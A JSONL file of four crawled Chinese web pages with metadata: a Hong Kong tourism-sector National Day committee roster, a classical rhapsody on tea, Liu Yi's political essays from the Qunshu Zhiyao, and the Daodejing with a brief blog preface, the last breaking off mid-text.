+{"text":"黃錫林是香港旅遊界成立慶祝66周年國慶籌備委員會委員。\n香港旅遊界成立慶祝66周年國慶籌備委員會\n香港旅遊界於8月12日隆重舉行「慶祝中華人民共和國66周年國慶籌備委員會」成立大會。大會通過了籌委會、名譽主席和主席團人選。推選籌委會執行主席為伍沾德博士,秘書長為盧瑞安,副秘書長為董耀中、徐王美倫和陳立志,會議又決定在9月29日隆重舉辦慶祝國慶聯歡晚會。\n中聯辦經濟部副部長金萍、旅遊界立法會議員姚思榮、亞洲旅遊交流中心主任李健平、香港旅遊業議會副主席黃進達,香港旅遊界伍沾德博士、盧瑞安等近百人出席了大會,中聯辦經濟部金萍副部長和籌委會執行主席伍沾德博士先後在會議上致辭。\n與會旅遊界人士表示,國家發展一日千里、成就輝煌,令人振奮,業界將通過慶祝國慶活動,進一步加深對國家的了解,凝聚共識,為發展香港旅遊事業、建設和諧美好的香港而努力。\n香港旅遊界慶祝中華人民共和國六十六周年國慶籌備委員會名單\n名譽主席:朱曼鈴 呂志和 李建平 林天福 林建岳 姚思榮 查良鏞 胡兆英 張學武 陳南祿 楊孝華 鄭耀棠\n主席團成員:王 苗 何栢霆 李金漢 周雪鳳 林淑芬 徐王美倫 馬豪輝 梁富華 曾志堅 黃德偉 廖長江 王吉顯 余莉華 李振庭 周練基 林淑儀 袁家齊 高育賢 梁港蘭 湯麟華 楊傳亮 劉 育 白嘉民 吳光偉 李國英 林少麟 施俊明 馬 潔 梁芳遠 梁耀霖 隋 江 葉容祺 劉啟明 江可伯 吳連烽 李漢城 林志挺 胡建名 馬逢國 梁家駒 陳覺威 黃士心 葉慶寧 劉鎮漢 江伯昌 呂尚懷 沈朝生 林和忠 凌錦文 馬煜文 梁偉強 麥磊明 黃照康 董耀中 蔡百泰 鄧家彪 謝思明 鄧桂能 謝偉俊 鄧健民 謝淦廷 盧瑞安 羅祥國 薛曉崗 關啟球 薛迪生 關靄雯\n執行主席﹕伍沾德\n秘書長﹕盧瑞安\n副秘書長﹕董耀中 徐王美倫 陳立志\n委 員:(三百一十八人)尹日初 何麗美 李海童 林金文 胡靜波 康 杰 文龔慧玲 何栢霆 李偉倫 林建岳 范秋華 張 樂 王 余 余莉華 李國英 林浩輝 韋榮恩 張有光 王 苗 余傑英 李詠姿 林淑芬 凌錦文 張伯民 王吉顯 余瑞萍 李嘉騏 林淑儀 唐 寧 張俊琴 王育才 余瑞輝 李漢城 林繼發 唐少汶 張海森 王怡然 利偉強 李鳳蓮 邱永康 孫寓斌 張珮珊 王建平 吳仰旌 李毅立 姜作工 容振倍 張健明 王炳良 吳光偉 杜德廉 姚一民 徐王美倫 張瑞芳 王達華 吳連烽 沈永全 姚思榮 翁珮玲 張萬濠 王福榆 吳翠娟 沈朝生 姚柏良 耿東明 張學武 王鴻泰 吳遠如 沈碧琪 姚偉光 袁士強 曹日聲 丘沛民 吳熹安 車文參 施俊明 袁成信 梁 俊 白嘉民 吳欏藝 辛聰金 柯天德 袁家齊 梁天龍 伍少玲 呂志和 卓友森 查良鏞 袁徐江 梁志新 伍沛德 呂尚懷 卓漢南 洪同豪 袁福和 梁志群 伍沾德 宋衛民 周文偉 洪劍明 馬 潔 梁芳遠 伍錦曦 李 發 周志棋 胡兆英 馬培民 梁建榕 朱兆寧 李汝大 周雪鳳 胡宇緯 馬逢國 梁為濂 朱伯東 李念陽 周練基 胡杏少 馬煜文 梁家駒 朱曼鈴 李金漢 林 傑 胡建名 馬豪輝 梁偉強 朱裕昌 李建平 林天福 胡恩輝 馬慧玲 梁國生 江可伯 李柱品 林少麟 胡彩娟 高永良 梁國興 江伯昌 李振庭 林志挺 胡淑儀 高育賢 梁啟泰 何蓮卿 李桂釗 林和忠 胡景豪 崔錦銘 梁富華 梁港蘭 陳建雄 湯麟華 黃德偉 鄒展強 鄭耀棠 謝偉明 梁耀霖 陳柏滔 隋 江 黃輝躍 雷禮忠 鄧家彪 謝偉俊 莊樹煌 陳桂芬 馮炳煇 黃曉婷 廖長江 鄧桂能 謝淦廷 許天生 陳桂姿 馮國雄 黃錫林 趙志高 鄧健民 鍾志勤 許叔驤 陳偉泉 馮惠儀 黃鑑安 劉 育 鄧雯蕙 鍾詠龍 許書漢 陳國東 馮慧敏 楊利玉 劉文銀 黎文英 聶建成 許康傑 陳淑芳 黃 頌 楊孝華 劉功成 黎向明 魏華克 連少毅 陳煥霞 黃士心 楊炳源 劉京平 黎汝洪 鄺寶玲 郭佩佩 陳嘉軍 黃子榮 楊善平 劉定志 黎家明 羅志華 郭杰慧 陳潔珍 黃兆謙 楊傳亮 劉展強 盧永安 羅忠慧 郭偉明 陳錦全 黃君雅 楊愛群 劉海天 盧瑞安 羅敏兒 郭愛嬌 陳錦華 黃志偉 萬德明 劉啟明 盧萬雷 羅祥國 陳 杰 陳應強 黃秀娟 葉子城 劉鎮漢 盧輝華 羅運霖 陳文龍 陳覺威 黃其亮 葉存良 劉顯茵 蕭志強 譚光舜 陳木青 陸達明 黃炳生 葉迅中 劉顯華 賴伯強 譚國新 陳世良 麥磊明 黃美玲 葉定國 潘建樹 戴永成 譚德喜 陳立志 傅鎮國 黃英俊 葉貞德 蔡少然 戴嘉慧 關振瀚 陳兆麟 彭銘東 黃展奭 葉容祺 蔡月仙 戴潤林 關啟球 陳志華 彭騁國 黃進達 葉祺昌 蔡百泰 薛冠美 關靄雯 陳孟準 曾志堅 黃雅麗 葉慶寧 蔡宗建 薛曉崗 嚴少梅 陳宗彝 曾志萍 黃勤輝 葉潤生 蔡得大 薛興華 嚴希敏 陳俊輝 曾明輝 黃照康 董沛銓 蔡瑩貞 薛廸生 蘇子楊 陳冠明 曾慧怡 黃頌堅 董耀中 鄭仲強 謝金鳳 蘇少雄 陳南祿 曾鍚耀 黃榮達 詹淑嫻 鄭景明 謝思明 龔偉勤","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/terrywong.org\/66-national-celebration-committee\/","date":"2024-04-21T15:04:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817780.88\/warc\/CC-MAIN-20240421132819-20240421162819-00351.warc.gz","language":"lzh","language_score":0.5282223821,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.528222382068634, \"cmn_Hani_score\": 0.3597162663936615, \"nan_Hani_score\": 0.08393243700265884, \"yue_Hani_score\": 0.025806231424212456}","num_words":426,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.556,"perplexity_score":500.0,"cluster_detection":1} +{"text":"凡人之於物或玩焉或味焉 樂之終身而無厭者 其性矣乎 若李白之於月 劉伯倫之於酒 其所好雖殊 而樂之至則一也 余於茶越乎 其莫之知 自讀陸氏經稍得其性 心甚珍之 昔中散樂琴而賦 彭澤愛菊而歌 其於微尙可顯矣 况茶之功最高 而未有頌之者若廢賢焉 不亦謬乎 於是考其名驗其産 上下其品爲之賦 或曰 茶自入稅反爲人病 子欲云云乎 對曰 肰然是豈天生物之本意乎 人也非茶也 且余有疾不暇及此云\n其辭曰有物於此厥類孔多 曰茗曰荈曰 寒《艹寒》曰蔎 仙掌 雷鳴 鳥嘴 雀舌 頭金 蠟面 龍․鳳 召[石]․的 山堤[挺] 勝金 靈草 薄側 仙芝 嫩蘂 運․慶 福․祿 華英 來泉 翎毛 指合 淸口 獨行 金茗 玉津 雨前 雨後 先春 早春 進寶 雙溪 綠英 生黃 或散或片\n或陰或陽 含天地之粹氣吸日月之休光 其壤則 石橋 洗馬 太湖 黃梅 羅原 麻步 婺處 溫台 龍溪 荊峽 杭蘇 明越 商城 王同 興廣 江福 開順 劒南 信撫 饒洪 筠愛 昌康 岳鄂 山同 潭鼎 宣歙 亞鳥 鍾 蒙霍\n蟠柢丘陵之厚 揚柯雨露之澤 造其處 則崆《山兇》嶱嵑 嶮巇岏峰 峉嶵嵒 《山臭》嵣《山芬》 崱峛呀然 或放豁然 或絶崦然 或隱鞠然 或窄 其上何所見 星斗咫尺 其下何所聞 江海吼《口突》 靈禽兮翂颬 異獸兮拏攫 奇花瑞草金碧珠璞 《艹尊》《艹尊》蘘蘘磊磊落落 徒盧之所趑趄 魑魈之所逼側 於是谷風乍起 北斗轉璧氷解黃河日躔 靑陸草有心而未萌 木歸根而欲遷惟\n彼佳樹百物之先獨步 早春自專其天 紫者綠者靑者黃者 早者晩者短者長者 結根竦幹布葉垂陰 黃金芽兮 已吐碧玉蕤兮 成林晻曖蓊 蔚阿那嬋媛翼翼焉 興與焉 若雲之作霧之興 而信天下之壯觀也 洞嘯歸來薄言采采 擷之負且載之\n搴玉甌而自濯煎石泉 而旁觀白氣漲口 夏雲之生溪巒也 素濤鱗生春江之壯波瀾也 煎聲颼颼 霜風之嘯篁栢也 香子泛泛戰艦 之飛赤壁也 俄自笑而自酌 亂雙眸之明滅 於以能輕身者 非上品耶 能掃痾者非中品耶 能慰閟者非次品耶\n乃把一瓢露雙脚 陋白石之煮 擬金丹之熟 啜盡一椀枯腸沃雪 啜盡二椀爽魂欲仙 其三椀也 病骨醒頭風痊 心兮若魯叟抗志於浮雲 鄒老養氣於浩然 其四椀也 雄豪發憂忿空 其兮若登太山而小天下 疑此俯仰之不能容 其五椀也 色魔驚遁餐尸盲聾 身兮若雲裳而羽衣 鞭白鸞於蟾宮 其六椀也 方寸日月萬類籧篨 神兮若驅巢許而僕夷齊 揖上帝於玄虛 何七椀之未半鬱淸風之生 襟望閶闔兮 孔邇隔蓬萊之簫森\n若斯之味極長且妙 而論功之不可闕也 當其凉生玉堂 夜闌書榻欲破萬卷 頃刻不輟 童生脣腐 韓子齒豁 靡爾也 誰解其渴 其功一也 次則讀賦漢宮 上書梁獄 枯槁其形 憔悴其色 腸一日而九回 若火燎乎腷臆 靡爾也 誰敍其鬱 其功二也 次則一札天頒 萬國同心星使傳命 列侯承臨揖讓之禮旣陳 寒暄之慰將訖 靡爾也 賓主之情誰恊 其功三也 次則天台幽人靑城羽客 石角噓氣松根鍊精 囊中之法欲試 腹內之雷乍鳴 靡爾也三彭之蠱誰征 其功四也 次則金谷罷宴兎園回轍 宿醉米醒肝肺若裂 靡爾也 五夜之酲誰輟(自註唐人以茶爲輟醒使君) 其功五也\n吾然後 知茶之又有六德也 使人壽修 有帝堯大舜之德焉 使人病已 有兪附扁鵲之德焉 使人氣淸 有伯夷楊震之德焉 使人心逸 有二老四皓之德焉 使人仙 有黃帝老子之德焉 使人禮 有姬公仲尼之德焉\n斯乃玉川之所嘗贊 陸子之所嘗樂 聖兪以之了生 曺鄴以之忘歸 一村春光靜 樂天之心機 十年秋月却 東坡之睡神 掃除五害凌厲八眞 此造物者之盖有幸 而吾與古人之所共適者也 豈可與儀狄之狂藥 裂腑爛膓 使天下之人德損 而命促者同日語哉\n喜而歌曰 我生世兮風波惡如 志乎養生捨汝而何求 我携爾飮爾從我游 花朝月暮樂且無睪夂 傍有天君懼然戒曰 生者死之本死者生之根單治內而外凋嵇著論而蹈艱 曷若泛虛舟於智水樹嘉穀於仁山 神動氣而入妙樂 不圖而自至 是亦吾心之茶 又何必求乎彼也\n请登录会员以观全文。\n提示:\n- 欢迎加入古籍QQ群:71582190,本群只谈古籍,勿论其他。入群请修改群名片为:正在学习或研究的内容.昵称,如:论语.飞翔,杂学.心在远方。\n- 推荐浏览器版本在IE8.0以上,如此可以使用网页最下方工具条记录读古籍笔记,查字典以及反馈文中错漏之处。浏览器版本过低则无法使用。\n- 如要搜索本页,请按 Ctrl+F 打开搜索输入框。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/guji.artx.cn\/article\/21822.html","date":"2017-03-29T05:19:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218190183.80\/warc\/CC-MAIN-20170322212950-00440-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.8282430768,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8282430768013, \"nan_Hani_score\": 0.10058309882879257, \"cmn_Hani_score\": 0.06732083112001419}","num_words":257,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.835,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劉廙政論\n群書治要卷四十七\n備政\n夫爲政者。譬猶工匠之造屋也。廣廈既成。衆棁不安。則梁棟爲之斷折。一物不備。則千柱爲之并廢。善爲屋者。知梁棁之不可以不安。故棟梁常存。知一物之不可以不備。故衆榱與之共成也。善爲政者。知一事之不可闕也。故無物而不備。知一是之不可失也。故衆非與之共得。其不然者。輕一事之爲小。忽而闕焉。不知衆物與之共多也。睹一非之爲小也。輕而蹈焉。不知衆是與之共失也。夫政之相須。猶輗轄之在車。無輗轄猶可以小進也。謂之歷遠而不頓躓者。未之有也。夫爲政者。輕一失而不矜之。猶乘無轄之車。安其少進。而不睹其頓躓之患也。夫車之患近。故無不睹焉。國之患遠。故無不忽焉。知其體者。夕惕若厲。慎其愆矣。\n夫爲政者。莫善於清其吏也。故選托於由。夷。而又威之以篤罰。欲其貪之必懲。令之必從也。而奸益多。巧彌大。何也。知清之爲清。而不知所以清之故。免而無耻也。日欲其清而薄其禄。禄薄所以不得成其清。夫飢寒切於肌膚。固人情之所難也。其甚又將使其父不父。子不子。兄不兄。弟不弟。夫不夫。婦不婦矣。貧則仁義之事狹。而怨望之心篤。從政者捐私門而委身於公朝。榮不足以光室族。禄不足以代其身。骨肉飢寒離怨於内。朋友離叛衰(衰疑弃)。捐於外。虧仁孝。損名譽。得守之而不易者。萬無一也。不能原其所以然。又將佐其室族之不和。合門之不登也。疑其名。必將忘其實。因而下之。不移之士。雖苦身於内。冒謗於外。捐私門之患。畢死力於國。然猶未獲見信之衷。不免黜放之罪。故守清者死於溝壑。而猶有遺謗於世也。爲之至難。其罰至重。誰能爲之哉。人知守清之必困於終也。違清。而又懼卒罰之及其身也。故不爲昭昭之行。而咸思暗昧之利。奸巧機於内。而虚名逸於外。人主貴其虚名。而不知賤其所以爲名也。\n虚名彰於世。奸實隱於身。人主眩其虚。必有以暗其實矣。故因而貴之。敬而用之。此所謂惡貪而罰於由夷。好清而賞於盗跖也。名實相違。好惡相錯。此欲清而不知重其禄之故也。不知重其禄。非徒失於清也。又將使清分於私。而知周於欺。推此一失。以至於欺。苟欺之行。何事而不亂哉。故知清而不知所以重其禄者。則欺而濁。知重其禄而不知所以少其吏者。則竭而不足。知少其吏而不知所以盡其力者。則事繁而職闕。凡此數事。相須而成。偏廢。則有者不爲用矣。其餘放欺。無事而不若此者也。不可得一二而載之耳。故明君必須良佐而後致治。非良佐能獨治也。必須善法有以用之。夫君猶醫也。臣猶針也。法。陰陽補瀉也。針非人不入。人非針不徹於病。二者既備而不知陰陽補瀉。則無益於疾也。又况逆(逆疑并)失之哉。今用針而不存於善術。使所針必死。夫然也。其疾之療亦遠。良醫急於速療。而不恃針入之無恙也。明君急於治平。而不恃亡失之不便亡也。(必須至亡也百三字。恐當連正文)\n正名\n夫名不正則其事錯矣。物無制 則其用淫矣。錯則無以知其實。淫則無以禁其非。故王者必正名以督其實。制 物以息其非。名其何以正之哉。曰。行不美則名不得稱。稱必實所以然。效其所以成。故實無不稱於名。名無不當於實也。曰。物又何以制 之哉。曰。物可以養生而不可廢之於民者。富之備之。無益於養生而可以寶於世者。則隨尊卑而爲之制 。使不爲此官。不得服此服。不得備此飾。故其物甚可欲。民不得服。雖捐之曠野而民不敢取也。雖簡於禁。而民皆無欲也。是以民一於業。本務而末息。有益之物阜而賤。無益之寶省而貴矣。所謂貴者。民貴願之也。匪謂賈貴於市也。故其政惠。其民潔。其法易。其業大。昔人曰。唯器與名。不可以假人。其此之謂與。\n慎 愛\n夫人主莫不愛愛己。而莫知愛己者之不足愛也。故惑小臣之佞而不能廢也。忘(忘疑忌)違己之益己而不能用也。夫犬之爲猛也。莫不愛其主矣。見其主則騰踊而不能自禁。此歡愛之甚也。有非則鳴吠。而不遑於夙夜。此自效之至也。昔宋人有沽酒者。酒酸而不售。何也。以其有猛犬之故也。夫犬知愛其主。而不能爲其主慮酒酸之患者不噬也。夫小臣之欲忠其主也。知愛之而不能去其嫉妒之心。又安能敬有道。爲己願稷。契之佐哉。此養犬以求不貧。愛小臣以喪良賢也。悲夫。爲國者之不可不察也。\n審 愛\n爲人君者。莫不利小人以廣其視聽。謂視聽之可以益於己也。今彼有惡而己不見。無善而己愛之者。何也。智不周其惡。而義不能割其情也。己不能割情於所愛。慮不能睹其得失之機。彼亦能見己成敗於所暗。割私情以事其上哉。其勢適足以厚奸人之資。此朋黨者之所以日固。獨善之所以孤弄(弄疑弃)也。故視聽日多。而暗蔽日甚。豈不詭哉。\n欲 失\n夫人君莫不願衆心之一於己也。而疾奸黨之比於人也。欲得之而不知所以得之。故欲之益甚。而不可得亦甚。疾之益力。而爲之者亦益勤矣。何也。彼將恐其黨也。任之而不知所以信之。朝任其身。夕訪於惡。惡無毁實。善無賞分。事無小大。訪而後知。彼衆之不必同於道也。又知訪之不能於己也。雖至誠至忠。俾曾參以事其親。借龍逢以貫其忠。猶將屈於私交。况世俗之庸臣哉。故爲君而欲使其臣之無黨者。得其人也。得其人而使必盡節於國者。信之於己也。\n疑 賢\n自古人君莫不願得忠賢而用之也。既得之。莫不訪之於衆人也。忠於君者。豈能必利於人。苟無利於人。又何能保譽於人哉。故常願之於心。而常失之於人也。非願之之不篤而失之也。所以定之之術非也。故爲忠者獲小賞而大乖違於人。恃人君之獨知之耳。而獲訪之於人。此爲忠者福無幾而禍不測於身也。得於君。不過斯須之歡。失於君。而終身之故患。荷賞名而實窮於罰也。是以忠者逝而遂。智者慮而不爲。爲忠者不利。則其爲不忠者利矣。凡利之所在。人無不欲。人無不欲。故無不爲不忠矣。爲君者以一人而獨慮於衆奸之上。雖至明而猶困於見暗。又况庸君之能睹之哉。庸人知忠之無益於己。而私名之可以得於人。得於人。可以重於君也。故篤私交。薄公義。爲己者殖而長之。爲國也(也疑者)抑而割之。是以真實之人黜於國。阿欲之人盈於朝矣。由是田。季之恩隆。而齊。魯之政衰也。雖成(成恐戒或威)之市朝。示之刀鋸。私欲益盛。齊。魯日困。何也。誠威之以言而賞之以實也。好惡相錯。政令日弊。昔人曰。爲君難。不其然哉。\n任 臣\n人君所以尊敬人臣者。以其知任人臣。委所信。而保治於己也。是以其聽察。其明昭。身日高。而視日下。事日遠。而聽日近。業至難而身至易。功至多而勤至少也。若多疑而自任也。則其臣不思其所以爲國。而思其所以得於君。深其計而淺其事。以求其指撝。人主淺之則不陷於之難。人主深之則進而順之以取其心。所闕者。忠於國而難明於君者也。所修者。不必忠於國而易行於時者也。因其所貴者貴之。故能同其貴。因其所賤者賤之。故能殊於賤。其所貴者不必賢。所賤者不必愚也。家懷因循之術。人爲悦心易見之行。夫美大者深而難明。利長者不可以倉卒形也。故難明長利之事廢於世。阿(阿下恐有脱文)易見之行塞於側。爲非不知過。知困不知其乏。此爲天下共一人之智。以一人而獨治於四海之内也。其業大。其智寡。豈不蔽哉。以一蔽主而臨不量之阿。欲能不惑其功者。未之有也。苟惑之。則人得其志矣。人得其志。則君之志失矣。君勞臣逸。上下易所。是一君爲臣而萬臣爲君也。以一臣而事萬君。鮮不用矣。有不(不字恐衍)用人之名。而終爲人所用也。是以明主慎之。不貴知所用於己。而貴知所用於人。能用人。故人無不爲己用也。昔舜恭己正南面而已。天下不多皋陶。稷。契之數。而貴聖舜獨治之功。故曰。爲之者不必名其功。獲其業者不必勤其身也。其舜之謂與。\n下 視\n夫自足者不足。自明者不明。日月至光至大。而有所不遍者。以其高於衆之上也。鐙燭至微至小。而無不可之者。以其明之下。能照日月之所蔽也。聖人能睹往知來。不下堂而知四方。蕭墻之表。有所不喻焉。誠無所以知之也。夫有所以知之。無遠而不睹。無所以知之。雖近。不如童昏之履之也。人豈逾於日月而皆賢於聖哉。故高於人之上者。必有以應於人。其察之也視下。視下者見之詳矣。人君誠能知所不知。不遺鐙燭童昏之見。故無不可知而不知也。何幽冥之不盡。况人情之足蔽哉。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022080.html","date":"2017-04-24T03:34:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00264-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.6911174059,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6911174058914185, \"cmn_Hani_score\": 0.13051724433898926, \"nan_Hani_score\": 0.06566528975963593, \"jpn_Jpan_score\": 0.020756658166646957, \"wuu_Hani_score\": 0.014633937738835812, \"zxx_Latn_score\": 0.010136013850569725}","num_words":30,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.691,"perplexity_score":500.0,"cluster_detection":1} +{"text":"最近又重新對道德經產生了新的興趣,每天睡前總是會到神桌前拜讀一兩頁,這些日子我卻發現了道德經渾然成了許多派別各自表述的有趣現像,一句有名天地之母,也被解釋為講的是無極西王母,真是誇張。\n道德經\n道可道,非常道。名可名,非常名。無名天地之始。有名萬物之母。故常無欲以觀其妙。常有欲以觀其徼。此兩者。同出而異名。同謂之玄。玄之又玄。眾妙之門。天下皆知美之為美。斯惡已。皆知善之為善。斯不善已。有無相生。難易相成。長短相形。高下相傾。音聲相和。前後相隨。是以聖人處無為之事。行不言之教。萬物作焉而不辭。生而不有。為而不恃。功成而不居。夫唯弗居。是以不去。不尚賢。使民不爭。不貴難得之貨。使民不為盜。不見可欲。使民心不亂。是以聖人之治虛其心。實其腹。弱其志。強其骨。常使民無知無欲。使夫智者不敢為也。為無為則無不治。道沖而用之或不盈。淵乎似萬物之宗。挫其銳。解其紛。和其光。同其塵。湛兮,似或存。吾不知誰之子。象帝之先。天地不仁。以萬物為芻狗。聖人不仁。以百姓為芻狗。天地之間。其猶橐籥乎。虛而不屈。動而愈出。多言數窮。不如守中。谷神不死。是謂玄牝。玄牝之門。是謂天地根。綿綿若存。用之不勤。天長地久。天地所以能長且久者。以其不自生。故能長生。是以聖人後其身而身先。外其身而身存。非以其無私邪。故能成其私。上善若水。水善利萬物而不爭。處眾人之所惡。故幾於道。居善地。心善淵。與善仁。言善信。政善治。事善能。動善時。夫唯不爭。故無尤。持而盈之。不如其已。揣而銳之。不可長保。金玉滿堂。莫之能守。富貴而驕。自遺其咎。功成名遂。身退。天之道。載營魄抱一能無離。專氣致柔能如嬰兒。滌除玄覽能如疵。愛民治國能無知。天門開闔能為雌。明白曰。達能無知。生之畜之。生而不有。為而不恃。長而不宰。是謂玄德。三十輻共一轂。當其無有車之用。埏埴以為器。當其無有器之用。鑿戶牖以為室。當其無有室之用。故有之以為利。無之以為用。五色令人目盲。五音令人耳聾。五味令人口爽。馳騁田獵。令人心發狂。難得之貨。令人行妨。是以聖人為腹不為目。故去彼取此。寵辱若驚。貴大患若身。何謂寵辱若驚。寵為下,得之若驚,失之若驚,是謂寵辱若驚。何謂貴大患若身。吾所以有大患者。為吾有身。及吾無身。吾有何患。故貴以身為天下者。則可寄於天下。愛以身為天下者。乃可托天下。視之不見名曰夷。聽之不聞名曰希。搏之不得。名曰微。此三者不可致詰。故混而為一。其上不皦。其下不昧。繩繩兮不可名。復歸於無物。是謂無狀之狀。無物之象是為惚恍。迎之不見其首。隨之不見其後。執古之道。以御今之有。能知古始。是謂道紀。古之善為士者。微妙玄通。深不可識。夫唯不可識。故強為之。容與兮若冬涉川。猶兮若畏四鄰。儼兮其若客。渙兮若冰之將釋。敦兮其若朴。曠兮其若谷。渾兮其若濁。孰能濁以靜之徐清。孰能安以久動之徐生。保此道者不欲盈。夫唯不盈。故能蔽不新成。致虛極。守靜篤。萬物並作。吾以觀其復。夫物芸芸。各復歸其根。歸根曰靜。是謂復命。復命曰常。知常曰明。不知常。妄作凶。知常容。容乃公。公乃王。王乃天。天乃道。道乃久。沒身不殆。太上下知有之。其次親而譽之。其次畏之。其次侮之。信不足焉。有不信。猶兮其貴言。功成事遂。百姓皆謂我自然。大道廢。有仁義。智慧出。有大偽。六親不和有孝慈。國家昏亂有忠臣。絕聖棄智。民利百倍。絕仁棄義。民復孝慈。絕巧棄利。盜賊無有。此三者以為文不足。故令有所屬。見素抱朴。少思寡欲。絕學無憂。唯之與阿。相去幾何。善之與惡。相去何若。人之所畏。不可不畏。荒兮其未央哉。眾人熙熙。如享太牢。如春登台。我獨泊兮其未兆。如嬰兒之未孩。乘乘兮若無所歸。眾人皆有餘。而我獨若遺。我愚人之心也哉。沌沌兮俗人昭昭。我獨若昏。俗人察察。我獨悶悶。忽兮若海。漂兮若無止。眾人皆有以。而我獨頑似鄙。我獨異於人。而貴食母。孔德之容。唯道是從。道之為物。唯恍唯惚。惚兮恍兮。其中有像。恍兮惚兮。其中有物。窈兮冥兮。其中有精。其精甚真。其中有信。自今及古。其名不去。以閱眾甫。吾何以知眾甫之然哉。以此。曲則全。枉則直。窪則盈。敝則新。少則得。多則惑。是以聖人抱一為天下式。不自見故明。不自是故彰。不自伐故有功。不自矜故長。夫唯不爭。故天下莫能與之爭。古之所謂曲則全者,豈虛言哉。誠全而歸之。希言自然。故飄風不終朝。驟雨不終日。孰為此者天地。天地尚不能久。而況於人乎。故從事於道者。道者同於道。德者同於德。失者同於失。同於道,若道亦樂得之。同於德者。德亦樂得之。同於失者。失亦樂得之。信不足焉有不信焉。跂者不立。跨者不行。自見者不明。自是者不彰。自伐者無功。自矜者不長。其在道也。曰餘食贅行。物或惡之。故有道者不處也。有物混成。先天地生。寂兮寥兮。獨立而不改。周行而不殆。可以為天下母。吾不知其名。字之曰道。強為之名曰大。大曰逝。逝曰遠。遠曰反。故道大。天大地大。王亦大。域中有四大。而王居其一焉。人法地。地法天。天法道。道法自然。重為輕根。靜為躁君。是以君子終日行。不離輜重。雖有榮觀。燕處超然。奈何萬乘之主。而以身輕天下。輕則失根臣。躁則失君。善行無轍跡。善言無瑕謫。善數不用籌策。善閉無關楗而不可開。善結無繩約而不可解。是以聖人常善救人。故無棄人。常善救物故無棄物。是謂襲明。故善人者。不善人之師。不善人者。善人之資。不貴其師。不愛其資。雖智大迷。是謂要妙。知其雄。守其雌。為天下谿。常德不離,復歸於嬰兒。知其白。守其黑。為天下式。為天下式,常德不忒。復歸於無極。知其榮。守其辱。為天下谷。為天下谷。常德乃足。復歸於朴朴散則為器。聖人用之則為官長。故大智不割。將欲取天下而為之。吾見其不得已。天下神器不可為也。為者敗之。執者失之。故物或行。或隨或呴。或吹或強。或羸或載。或隳。是以聖人去甚。去奢去泰。以道佐人主者。不以兵強天下。其事好還。師之所處。荊棘生焉。大軍之後。必有凶年。善有果而已。不以取強。果而勿矜。果而勿伐。果而勿驕。果而不得已。果而勿強。物壯則老。是謂不道。不道早已。夫佳兵不祥之器。物或惡之。故有道者不處。君子居則貴左。用兵則貴右。兵者不祥之器。非君子之器。不得已而用之恬淡為上。勝而不美而美之者。是樂殺人。夫樂殺人者。則不可得志於天下矣。吉事尚左。凶事尚右。偏將軍居左。上將軍居右。言以喪禮處之。殺人之眾。以悲哀泣之。戰勝以喪禮處之。道常無名。朴雖小。天下不敢臣。侯王若能守之。萬物將自賓。天地相合。以降甘露。民莫之令而自均。始制有名。名亦既有。天亦將知止之,知之可以不殆。譬道之在天下。猶川谷之於江海。知人者智。自知者明。勝人者有力。自勝者強。知足者富。強行者有志。不失其所者久。死而不亡者壽。大道氾兮其可左右。萬物恃之而生而不辭。功成不名。有愛萬物而不為主。常無欲可名於小。萬物歸焉而不為主。可名為大。以其終不自為大。故能成其大。執大象。天下往往而不害。安平太樂。與餌過客止。道之出口。淡乎其無味。視之不足見。聽之不足聞。用之不可既。將欲歙之。必故張之。將使弱之。必故強之。將欲廢之。必故與之。將欲奪之。必固與之。是謂微明。柔弱勝剛強。魚不可脫於淵國之利器。不可以示人。道常無為而無不為。侯王若能守之。萬物將自化。化而欲作。吾將鎮之以無名之朴。無名之朴,亦將不欲。不欲以靜。天下將自正。上德不德。是以有德。下德不失德是以無德。上德無為而無以為。下德為之而有以為。上仁為之而無以為。上義為之而有以為。上禮為之而莫不應。則攘臂而扔之。故失道而後德。失德而後仁。失仁而後義。失義而後禮。夫禮者。忠信之薄。而亂之首。前識者。道之華。而愚之始。是以大丈夫處其厚。不居其薄。處其實。不居其華。故去彼取此。昔之得一者。天得一以清地得一以寧。神得一以靈。谷得一以盈萬物得一以生。侯王得一以為天下正。其致之天無以清將恐發。神無以靈將恐歇。谷無以盈將恐竭。萬物無以生將恐滅。侯王無以貴高將恐蹶。故貴以賤為本。高必以下為基。是以侯王自謂孤寡不軗。此非以賤為本耶。非乎。故致數車無車。不欲琭琭如玉。落落如石。反者道之動。弱者道之用。天下萬物生於有。有生於無上士聞道。勤而行之。中士聞道。若存若亡。下士聞道。大笑之。不笑不足以為道。故建言有之。明道若昧。進道若退。夷道若類。上德若谷。大白若辱。廣德若不足。建德若偷。質真若渝。大方無隅。大器晚成。大音希聲。大象無形。道隱無名。夫唯道善貸且成。道生一。一生二。二生三。三生萬物。萬物負陰而抱陽。沖氣以為和。人之所惡。唯孤寡不轂。而王公以為稱。故物或損之而益。或益之而損。人之所教。我亦教之。強梁者不得其死。吾將以為教父。天下之至柔,馳騁天下之至堅。無有人無間。吾以是知無為之有益。不言之教。無為之益。天下希及之。名與身孰親。身與貨孰多。得與亡孰病。甚愛必大費。多